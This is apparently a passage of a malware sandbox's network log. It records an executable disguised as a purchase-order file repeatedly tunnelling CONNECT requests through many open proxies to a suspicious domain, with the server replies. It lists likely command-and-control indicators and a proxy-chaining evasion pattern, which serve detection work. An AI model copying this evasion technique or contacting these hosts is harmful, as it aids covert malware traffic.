Mar 11, 2024 16:39:47.518374920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.673048019 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
826	192.168.2.10	52069	142.54.236.97	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.519598007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
827	192.168.2.10	52646	104.23.126.8	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.546452999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.700624943 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
828	192.168.2.10	52673	104.21.218.103	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.564194918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.718506098 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
829	192.168.2.10	51841	186.96.101.75	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.581991911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.598424911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.598788023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.877209902 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
830	192.168.2.10	50357	201.71.3.42	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.583791971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.598438025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
831	192.168.2.10	52604	70.166.167.55	57745	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.588865042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
832	192.168.2.10	52572	38.54.116.9	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.605338097 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:50.021306038 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
833	192.168.2.10	51790	39.109.113.97	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.605947971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.598434925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.598812103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.598520041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.668659925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:23.801291943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:35.801260948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:59.801244974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
834	192.168.2.10	50283	117.160.250.163	82	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.607417107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.785851002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.281697989 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 15:39:51 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
835	192.168.2.10	51843	185.165.232.45	6060	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.628356934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.707686901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.708251953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.535746098 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
836	192.168.2.10	52602	5.75.192.13	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.631807089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.937954903 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
837	192.168.2.10	52603	47.242.15.120	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.649060011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
838	192.168.2.10	51846	122.154.118.66	8083	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.650152922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.785865068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.411417007 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
839	192.168.2.10	50317	203.161.30.10	8765	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.650269032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.668087006 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
840	192.168.2.10	50428	203.205.34.58	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.650636911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
841	192.168.2.10	51922	104.238.111.107	30026	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.656389952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.785949945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.786891937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.786176920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.786302090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:35.787519932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:23.785605907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
842	192.168.2.10	52638	221.153.92.39	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.672034979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
843	192.168.2.10	52639	211.222.252.187	8197	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.672622919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
844	192.168.2.10	52618	37.235.48.19	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.692365885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
845	192.168.2.10	50522	174.136.57.169	30453	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.697540998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.785957098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.786892891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.786156893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
846	192.168.2.10	52624	185.82.218.52	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.697700024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
847	192.168.2.10	52617	4.144.161.159	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.702111006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
848	192.168.2.10	52662	121.66.198.76	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.707775116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
849	192.168.2.10	52616	93.157.248.108	88	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.708000898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
850	192.168.2.10	52680	72.210.252.137	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.730781078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
851	192.168.2.10	52675	116.106.105.55	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.778563023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
852	192.168.2.10	50426	102.130.125.86	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
